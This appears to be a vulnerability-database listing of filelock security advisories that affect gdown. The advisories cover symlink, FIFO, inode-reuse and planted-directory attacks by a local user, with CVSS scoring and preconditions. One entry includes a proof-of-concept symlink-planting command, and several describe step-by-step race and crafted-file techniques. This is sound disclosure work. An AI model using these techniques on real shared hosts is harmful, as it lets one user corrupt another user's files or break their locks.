Threats affecting pkg:brew/gdown
17 threats
Most recently published first
| Severity | CVSS | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|
| High | 7.1 | CVE-2026-112940gdown · filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock High7.1GCVE DatabaseCVE-2026-112940 `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/<n>`, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL. Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4). Anthropic's OSS Scanner reported this in private as `ANT-2026-KMJ2575J` [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 7.1 (High).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. `I:H` (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. `A:H` (high availability impact): the other user makes every acquire fail or kills the lock holder. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges. Classification from the external review: **conditional security**, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition. ## Scope and preconditions - The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a `0777` directory or a group-writable one (including a setgid `2775` project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is `0666`. filelock itself creates the database `0600`. - Sticky directories (`/tmp`, `/var/tmp`, any `1777` directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with `fs.protected_regular=2`). What remains is a planted non-empty `<db>-wal` (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise `sqlite3.OperationalError: disk I/O error`. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if `fs.protected_hardlinks=0`. - Two kernel settings matter. `fs.protected_regular` (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in `/tmp`, and SQLite follows a planted symlink itself (not tested). `fs.protected_hardlinks=1` (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory. - Platform and route. The `/proc/self/fd` redirect is Linux with `/proc` mounted, 4.0.9 and later. The side-file variants (`-journal`, `-wal`, `-shm`) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without `/proc`) they need the link-directory swap described under "Mechanism", so a non-sticky parent. N | GCVE Database | ||
| Medium | 4.7 | CVE-2026-112939gdown · filelock: SoftFileLock removes a live holder's marker when another user forges the PID in a writable marker Medium4.7GCVE DatabaseCVE-2026-112939 `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants and a `FileLock` that has fallen back to a soft lock on `ENOSYS` decide from the record inside the marker file whether its owner is gone. The marker is the file whose presence says a process holds the lock. They do not check who could have written that record. A local user who can write the marker but cannot remove it rewrites the holder's record to name a dead PID (process id). That position arises with an explicit `mode` with group or other write bits, or the default mode under a lax umask (the process setting that strips permission bits from new files), in a sticky or otherwise non-removable directory. The sticky bit is a directory flag that lets only a file's owner remove or rename it. The next contender running as the holder's account, or root, judges the lock stale, removes the live marker on that user's behalf and acquires it. Two processes then run the critical section together and neither gets an error. Affected versions are filelock 3.22.0 through 4.2.0 (finding `ANT-2026-W1H9NXUH`). ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N` scores 4.7 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the marker must carry group or other write bits (an explicit permissive `mode`, or umask `002`/`000` with a shared group), and a contender of the holder's account must ask for the lock while the forged record is in place. `I:H` (high integrity impact): two holders then write whatever the lock protects, and the holder is not told. `C:N` and `A:N` (no confidentiality or availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on another user being able to write the live marker. The scanner rated it high (CWE-345). The default mode under umask `022` is not affected. ## Scope and preconditions - The other user can write the marker. The application passes a `mode` with group or other write bits, which `fchmod` applies as given since 4.1.0. `0o666` is a common choice for a lock shared between accounts, although a soft-lock contender of another account waits as well on a `0o644` marker, since contenders only read and rename. Or the application uses the default mode (`0o666` through the umask) under umask `002` in a directory whose group the other user belongs to, or under umask `000`. The default mode under umask `022` is not affected. - The other user cannot remove the marker itself: the directory is sticky, or the other user cannot write it at all (a `0755` directory owned by the lock's user gives the same overlap). In a non-sticky shared directory the other user can unlink the marker without filelock, and filelock adds nothing. - A contender that may rename the marker asks for the lock: another process of the holder's account (several workers of one user) or root. A contender of another unprivileged account cannot rename the marker in a sticky directory and times out. - The finding reaches every class that publishes a soft marker: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants, and `FileLock(mode=0o666)` on a filesystem where `flock` (a kernel lock on an open file) fails with `ENOSYS`. These protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. ## Affected code At the scanned commit b831496: the create mode in [`SoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L67-L71), the explicit-mode `fchmod` in [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L100-L105), the trusting verdict in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) and the [`owner_is_stale`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_identity.py#L64-L79) it relies on; the same call in [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256). ## Introduced The stale verdict that trusts the record came in with e35c3afac473 ("feat(soft): detect and break stale locks", #476, 2026-02-13), first released in 3.22.0. From then on a marker left group- or other-writable by the umask is forgeable. The re | GCVE Database | ||
| Medium | 5.8 | CVE-2026-112938gdown · filelock: StrictSoftFileLock follows a symbolic link swapped in at <path>.filelock and creates claim files in a Medium5.8GCVE DatabaseCVE-2026-112938 `StrictSoftFileLock` and `AsyncStrictSoftFileLock` check `<path>.filelock` (the coordination directory that holds the lock's state) with one `lstat` call on its name. `lstat` reports what a name is without following a symbolic link (a file that redirects to another path). After that check, the code reaches `<path>.filelock/claims` by pathname for every later operation (`mkdir`, scan, publish, link, unlink). `_open_directory` passes `O_NOFOLLOW` (a flag that makes an open fail when the final name is a symbolic link), but the flag covers only the final `claims` component. The kernel follows a symbolic link in any earlier component. Another local user (the other user below) who can rename `<path>.filelock` exchanges it for a symbolic link after the check. In a shared directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it), any user with write access can do this. Where the shared directory is sticky, such as `/tmp`, only the user who created `<path>.filelock` before the user running the lock (the lock user below) first used it can. The lock user's process (root's, if root takes the lock) then creates a `claims` directory and claim files (the files whose presence says a process wants or holds the lock) inside a directory the other user chooses but only the lock user can write. When the link points at another strict lock's `.filelock` directory, the stranded claims make that lock time out for every process until an operator finds and force-breaks each one. The `claims` property and `force_break()` resolve the same path with no check at all. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-SVFEYX89`). ## Severity **CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H, 5.8 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the swap must land between the `lstat` and the next `mkdir`. The other user does not aim at that window. It flips the name in a loop with `renameat2(RENAME_EXCHANGE)` (a system call that swaps two names in one step) across repeated acquires, and won after 1 to 31 runs of the lock user's program in the scanner's trials. A sticky directory also requires it to have created `<path>.filelock` first. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:L` (low confidentiality impact): through `claims`, one file name per planted link from a directory only the lock user can list. `I:L` (low integrity impact): a directory named `claims` and files with filelock's fixed claim names and contents appear, created with the lock user's privileges, in a directory the other user chooses but cannot write. The process overwrites or truncates nothing that exists. `A:H` (high availability impact): aimed at another strict lock of the lock user, the stranded claims deny that lock to every process until an operator finds and force-breaks each one. Classification from the review: security, conditional on the other user being able to rename the intermediate component. The scanner rated it high (CWE-363). ## Scope and preconditions - The other user can rename `<path>.filelock`. In a writable directory without the sticky bit (a `0777` or group-writable project or cache directory), any user with write permission on the directory can, even though the lock user created and owns `<path>.filelock`. In a sticky directory such as `/tmp`, only the user who created `<path>.filelock` before the lock user's first use can, because that user then owns both the directory and the symbolic link (the planting precondition of GHSA-9c4x-gm8v-wgc4). - The link's target is a directory the lock user can write. The effect that matters is on that directory. An acquire that completes through the link also holds the shared lock with its claims elsewhere, but a user who can rename `<path>.filelock` can defeat that lock's exclusion anyway. - `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not interfere. The link is an intermediate path component, not the last one. In the sticky-directory case it also sits in a directory the other user owns. - Missed attempts show up to the lock user as `SoftFileLockProtocolError` or `FileNotFoundError`. The swap therefore works against a lock that a program takes more than once: a periodic job, a worker pool, or a caller that retries or waits with a timeout (each poll of a waiting acquisition is a new attempt). - The two entry points that need no race (`claims` and `force_break()` on a resting symbolic link) depend on the lock user inspecting or recovering the lock. The planted link invites this by making `acquire()` fail with a protocol error. The `force_break()` variant works only when the lock user breaks claims that name a live process on its own host without checking them first, as the recovery loop in `docs/tutorials.rst | GCVE Database | ||
| Medium | 6.1 | Medium6.1GCVE DatabaseCVE-2026-112936 ### Summary `ReadWriteLock` and `AsyncReadWriteLock` resolve the lock path with `pathlib.Path.resolve()` and pass it to `sqlite3.connect()` without refusing a symlink. A local user who can create names in the lock's directory, such as `/tmp` or a shared cache, can plant a symlink at the lock path and make the victim's process create, lock, or write the file it points to, or break mutual exclusion between the victim's own processes. ### Details `ReadWriteLock.__init__` stores `pathlib.Path(lock_file).resolve()`, which follows a final symlink, and every connection opens that path through `sqlite3.connect()` with no `O_NOFOLLOW` or regular-file check. SQLite's own VFS also resolves the final symlink in user space, so `fs.protected_symlinks` and the sticky bit do not help: the kernel never sees a symlink to refuse. The other lock classes do not follow a final symlink: `FileLock` opens with `O_NOFOLLOW`, and `SoftReadWriteLock` coordinates through `<path>.rw/`. ### Proof of concept On Linux, with the victim and attacker as different users and `/shared` mode 1777 with `fs.protected_symlinks=1`: 1. The attacker runs `ln -s /home/victim/private/pwned.flag /shared/app.rwlock.db`. 2. The victim constructs `ReadWriteLock("/shared/app.rwlock.db")`. A plain `os.open(..., O_NOFOLLOW)` on the same path fails, but the lock creates `/home/victim/private/pwned.flag`, owned by the victim, inside a directory the attacker cannot write. 3. With `/shared/cache.rwlock.db -> /shared/a.db`, one victim process holds the write lock. The attacker repoints the link to `/shared/b.db`, and a second victim process acquires the write lock while the first still holds it. The same behavior reproduces on macOS, on Windows 11, and through `AsyncReadWriteLock`. ### Impact A local attacker with write access to the lock directory can make the victim create empty files it owns at paths the attacker cannot write, make the victim hold a SQLite lock on another application's database so that application gets `database is locked`, and give two victim processes the write lock at once, letting them corrupt the resource the lock protects. ### Workarounds Keep `ReadWriteLock` paths in directories that only trusted users can write. | GCVE Database | ||
| Medium | 4.7 | CVE-2026-112935gdown · filelock: SoftFileLock stale-lock break removes a live lock file on a reused inode number and admits two holders Medium4.7GCVE DatabaseCVE-2026-112935 The stale-lock break shared by `SoftFileLock`, `MarkerSoftFileLock` and `SoftFileLease` (and their async variants, and a `FileLock` that has fallen back to a soft lock on `ENOSYS`, the "not implemented" error) recognises the marker it judged stale by two values. The marker is the lock file at `<path>`, whose presence says a process holds the lock. The values are its inode number (the kernel's identity for a file, independent of its name) and its modification time (mtime) not being newer. The check runs after the contender has already closed the marker, so nothing keeps the inode allocated. On a filesystem that hands a freed inode number straight to the next file (ext4, xfs, overlayfs on them) the next holder's marker can carry that number. A contender still between its read and its break then renames and unlinks the live marker. Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), forces this at will. It plants a marker with a stale owner record and a modification time in the future and unlinks it as soon as a contender has read it. Two processes of the user running the lock (the lock user below) then hold the same default-configured lock at once, and nothing raises or logs. Affected versions: filelock >= 3.22.0 and <= 4.2.0 (finding `ANT-2026-KIIS96IX`). ## Severity **CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race, though one the other user starts, lengthens (by making the lock user's `/proc` read slow) and retries at every release. The scanner measured 10 to 26 overlaps per 20-second run. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working. Classification from the review: security, conditional on a sticky shared directory, ext4-style inode reuse and at least two contenders of the lock user. Our review verified it across UIDs (a UID is a user account's numeric id): the other user as uid 1001, the lock user's processes as uid 1000, BUG on 4.2.0 over ext4. The scanner rated it high (CWE-367). ## Scope and preconditions - The other user can create files in the lock's directory; a root-owned `1777` directory such as `/tmp` or `/var/tmp` is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. The sticky bit stops it removing the lock user's marker (checked: `EPERM`, operation not permitted), so the lock user's own stale break does the deletion. - The directory is on a filesystem that hands a freed inode number straight to the next file. ext4 does (six create/unlink rounds returned one number six times, in the image's overlayfs `/tmp` and on a loop-mounted ext4), and xfs does. tmpfs returned six increasing numbers and the same run there gave no overlap, and btrfs does not hand a freed number back. - The lock user has at least two processes contending for the lock, and the displaced holder is still inside when the next contender polls (the breaker itself comes back one `poll_interval`, 50 ms by default, later). - The lock is `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` (or async forms). The default `flock`-based `FileLock` joins them only after it has fallen back to `SoftFileLock` on `ENOSYS`. `StrictSoftFileLock` does not call `break_lock_file`, so it is not affected. - The same overlap also occurs with no other user involved, under heavy same-account contention, when a contender breaks a dead holder's marker and a successor creates its marker within the same timestamp tick (about once in 750 crashes with 64 workers on a 2-CPU machine, not on tmpfs). filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that. ## Affected code At the scanned commit b831496, the re-check sits in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118). Its callers are [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease._try_break_stale_l | GCVE Database | ||
| Medium | 6.1 | CVE-2026-112934gdown · filelock: SoftReadWriteLock holder refresh writes through a hard link and hangs on a named pipe that another local Medium6.1GCVE DatabaseCVE-2026-112934 `SoftReadWriteLock` (and `AsyncSoftReadWriteLock`, which wraps one) refreshes its holder record (the file under `<path>.rw/holders/` that says a process holds or wants the lock) on every poll of a waiting acquire and on every heartbeat (the periodic refresh a holder runs to keep its record fresh). It does so by reopening `<path>.rw/holders/<token>` by name with a plain blocking `O_WRONLY | O_NOFOLLOW` open and writing at offset 0, without checking what it opened. `O_NOFOLLOW` makes the open fail only when the final name is a symbolic link (a file that redirects to another path). A different local user (the other user below) who owns the lock's `.rw` tree reads the token of the user running the lock (the lock user below) from the `holders/` listing and renames another node over the record. The other user owns the tree because it created it first in a sticky directory such as `/tmp` (the sticky bit is a directory flag that lets only a file's owner rename or remove it), or because it can write a lock directory without the sticky bit. A FIFO (a named pipe: a file whose open for writing blocks until some process opens it for reading) makes the lock user's `write_lock()` / `read_lock()` hang regardless of `timeout`. It also stops a lock holder's heartbeat thread without `on_compromise` (the callback that tells a holder it lost the lock) ever running, so the lock grants a second process while the first still believes it holds it. This works on a default Linux. Where the kernel lets a user hard-link a file it does not own (a hard link is a second name for the same file; Linux with `fs.protected_hardlinks=0`; macOS and the BSDs by their defaults, not executed), a hard link makes the lock user overwrite the first ~135 bytes of one of its own private files with its holder record. Affected versions: filelock >= 4.0.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as `ANT-2026-AT33VEVC` [medium, CWE-62], titled "SoftReadWriteLock holder refresh writes through hard links, hangs on FIFOs". ## Severity **CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H, 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:L` (low attack complexity): on a default Linux there is no race. `PR:L` (low privileges): a local user with ordinary privileges is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:N` (no confidentiality impact): the other user learns nothing. `I:L` (low integrity impact): where the kernel permits hard links to files one does not own, the lock user also writes its holder record over the first ~135 bytes of one of its private files. The bytes are filelock's record, not chosen by the other user, so the change stays within that record. `A:H` (high availability impact): the other user makes a lock user's acquire outlast any `timeout` and leaves a holder's heartbeat thread asleep. The lock then evicts the holder without telling it, and two processes believe they hold the write lock. Classification from the external review: conditional security. The owner of a planted `.rw` tree can make the refresh open a FIFO and stall a lock user, including its heartbeat. Overwriting a file of the lock user through a hard link also needs a permissive hard-link policy. The scanner rated it medium. ## Scope and preconditions - Trust boundary: the other party is a different local account that owns the lock's `.rw` tree. Either it created `<path>.rw` (with `gen/` and `holders/`) before the lock's first use in a sticky directory such as `/tmp`, where `prepare()` adopts an existing tree whoever owns it and whatever its mode. Or the lock lives in a directory without the sticky bit that the account can write (the scanner checked a root-created `0777` directory). There being first is not needed, because the other user renames the lock user's own `0700` tree aside and puts its own in place; `prepare()` does not run again for a live lock object, and a waiting lock user recreates its record in the replacement. A tree the lock user already created in a sticky directory (mode `0700`) is out of reach. - FIFO variant: needs only that boundary. It works on a default Linux. `fs.protected_hardlinks` plays no part, and `fs.protected_fifos=1` (a Linux setting that refuses some opens of FIFOs in sticky world-writable directories) does not help, since it covers `O_CREAT` opens in sticky directories only, and the other user renames the FIFO into place inside its own `holders/`. - Hard-link variant: also needs a kernel that permits a hard link to a file the caller does not own. That is Linux with `fs.protected_hardlinks=0` (the kernel's built-in value; observed), while most distributions and the scanner's test image boot with `1`, under which the other user's `link()` fails with `EPERM` (operation not permitted) and the file stays untouched. macOS and the BSDs have no such restriction by default; that follows from their `link(2)` semantics, and the scanner did not execute it. The tar | GCVE Database | ||
| Medium | 5.5 | CVE-2026-112915gdown · filelock ReadWriteLock: a crafted lock database makes every acquire stall or hang regardless of timeout Medium5.5GCVE DatabaseCVE-2026-112915 `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) run `PRAGMA journal_mode=MEMORY` on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the `sqlite_master` table, which lists every table and index with its `CREATE` text) of whatever file sits at the lock path. The caller's `timeout` reaches SQLite only as `busy_timeout`, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a `ReadWriteLock`'s database path can therefore make every `acquire_read` / `acquire_write` of every process using that lock ignore its `timeout` and `blocking=False`. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write. One 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0. Anthropic's OSS Scanner reported this in private as `ANT-2026-NFPRHMYJ` [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` scores 5.5 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `AC:L` (low attack complexity): the other user plants one file; no race. `UI:N` (no user interaction). `A:H` (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with `timeout` and `blocking=False` ignored and `SIGINT` not delivered, so only killing the process ends it. `C:N` and `I:N` (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. `S:U` (scope unchanged). Classification from the external review: **conditional security**, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition. ## Scope and preconditions - The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (`0666`), which is the setup a lock shared between accounts needs. In a `1777` directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is `0666`. - Sticky directories and kernel settings. In a sticky world-writable directory such as `/tmp`, Linux with `fs.protected_regular=2` (a kernel setting) refuses the lock user's `O_CREAT` open of a file owned by the other account with `EACCES`. A database owned by the other user does not work there. That does not cover a `0666` database owned by the lock user. The scanner did not test systems with `fs.protected_regular=0` (the kernel's own default). - Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. ## Affected code At the scanned commit `b831496b0273`: [`_configure_and_begin` runs `PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` on a fresh connection](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L814-L816), and for a read lock [`SELECT name FROM sqlite_master LIMIT 1` at line 832](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L832). The code in [`_do_acquire_inner` closes the previous connection and opens a new one on every acquire](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L745-L754). The only content checks | GCVE Database | ||
| Low | 2.5 | CVE-2026-112912gdown · filelock: Symlink swap during SoftFileLock's writability check leaks whether a path exists and is writable by the lock Low2.5GCVE DatabaseCVE-2026-112912 `raise_on_not_writable_file()` is the check that `SoftFileLock` and the locks sharing its acquire path run before every attempt. It looks at the lock path with `os.lstat`, so that it judges a planted symlink (a file that points at another path) by itself. When the node has no owner-write bit, it then calls `os.access(filename, os.W_OK)`, which follows symlinks. A local user who can create entries in the lock's directory can swap the path between a mode-`0466` file and a symlink to a path of their choosing. The second call then reports on the symlink's target with the permissions of the user running the lock (below: the lock user). The lock user's `acquire()` ends in `PermissionError` within a fraction of a second when the target is missing or not writable by the lock user, and in the ordinary `Timeout` otherwise. That yields one bit per watched acquire. The bit says whether a path exists and is writable by the lock taker. It covers paths under directories the other user cannot search, or any path when root takes the lock. The lock does not open, create or modify anything through the symlink. On Linux, `fs.protected_symlinks` (a kernel setting that refuses to follow another user's symlink in a sticky world-writable directory) blocks it in a directory such as `/tmp`. It does not block it in a `0777` directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it) or in a sticky group-writable one. This reopens the leak PR #567 closed. Affected versions are filelock 3.32.6 through 4.2.0. Anthropic's OSS Scanner reported this in private. Finding covered by this advisory: - `ANT-2026-RQ91AXTW` [medium, CWE-59]: Symlink TOCTOU in raise_on_not_writable_file leaks file existence. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N` scores 2.5 (Low).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the swap has to land between two system calls a few bytecodes apart (6 to 12 % of back-to-back acquires with the other user on a second CPU, 1 in 8 000 on one CPU), and the other user has to observe how the lock user's acquire ended. `C:L` (partial confidentiality impact): one bit per acquire (existence or writability of a chosen path), no content. `I:N` and `A:N` (no integrity or availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional**, "a one-bit probe of a victim-only path" that "Linux protected symlinks block in the common sticky `/tmp` case, but not every shared directory". The scanner rated this medium. The maintainers score it low for the complexity and the one-bit yield. ## Scope and preconditions - The affected classes are `SoftFileLock` and everything that reuses its `_acquire`: `MarkerSoftFileLock`, `SoftFileLease`, the async soft locks, and `FileLock` after an `ENOSYS` fallback to a soft lock. `UnixFileLock` itself does not call the helper. `WindowsFileLock._acquire()` does, but on Windows `os.access` reads the link's own read-only attribute and does not follow it; that branch did not run. - The other user must be able to create entries in the lock's directory. With Linux defaults (`fs.protected_symlinks=1`) the kernel refuses the lock user's attempt to follow another user's symlink in a directory that is both sticky and world-writable. `/tmp` therefore gives `PermissionError` for every target and leaks nothing. A `0777` directory without the sticky bit, or a sticky group-writable one (`1770` with a shared group), has no such cover and leaks as described. macOS and the BSDs have no `fs.protected_symlinks`, and a symlink there has mode bits of its own, so one without the owner-write bit would reach `os.access` with no swap at all (not executed). - The swap is practical only with a second CPU for the other user. - The other user needs to see how the lock user's acquire ended, for example the exception in a shared log, an exit status, or when the job stopped (`PermissionError` ends a blocking acquire within about a second; the other case runs to its timeout). The scanner also observed a variant that needs no output from the lock user. Hold the soft lock, set the marker (the lock file whose presence says a process holds the lock) to mode `0o066`, swap the symlink in and out for a few seconds, release, and see whether a marker owned by the other uid appears. A contender still waiting takes the lock; one that raised is gone. - The `O_NOFOLLOW` open that follows the check is not affected. The lock does not read, create or modify anything through the symlink. ## Affected code Scanned commit `b831496b0273`: in `raise_on_not_writable_file`, the [`os.lstat` that states the invariant](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L46-L50) and the [`os.access` call that follows symlinks](https://github.com/tox-dev/filel | GCVE Database | ||
| Medium | 6.3 | CVE-2026-112911gdown · filelock: StrictSoftFileLock and SoftReadWriteLock adopt a protocol directory another user created first, losing Medium6.3GCVE DatabaseCVE-2026-112911 `StrictSoftFileLock`, `AsyncStrictSoftFileLock`, `SoftReadWriteLock` and `AsyncSoftReadWriteLock` keep their whole ownership state as files in a directory derived from the lock path (`<path>.filelock/claims`, `<path>.rw/{gen,holders}`). When that directory already exists they adopt it after checking only that it is a real directory, not who owns it. Another local user who can create names in the lock's directory can create the tree before the first acquire on that path by the user running the lock (below: the lock user). In `/tmp`, `/var/tmp` or another sticky shared directory any user can do that; the sticky bit is a directory flag that lets only a file's owner remove or rename it. The other user then owns the tree. They can unlink the lock user's claims while the lock user holds the lock, so a second process of the lock user, root included, enters the same critical section and neither process sees an error. Against `SoftReadWriteLock` the same position also admits two writers with `on_compromise` silent. It redirects the lock user's own creates and renames into a directory the other user picks (the scanner replaced a repository's `.git/HEAD` with a filelock record written with the lock user's privileges). It also keeps the lock user's acquire or release running past any `timeout`. Affected versions are filelock 3.30.0 through 4.2.0 (finding `ANT-2026-Q5VK5JEE`). ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 6.3 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the other user must create the protocol directory before the lock user's first acquire on that path. That depends on the path being new, or on a reboot, a tmp cleaner or the documented `<path>.rw` recovery having removed its tree; once planted, the rest needs no race. `I:H` (high integrity impact): two holders write whatever the lock protects, and for `SoftReadWriteLock` the lock user's process creates, replaces or deletes files named `HEAD`, `epoch` and `0000000000000000000N` in any directory the lock user can write. `A:H` (high availability impact): the owner of `<path>.rw` can make the lock user's `read_lock(timeout=1)` spin at full CPU without end, cost 22 s per acquire, or pin 1 MiB of memory per 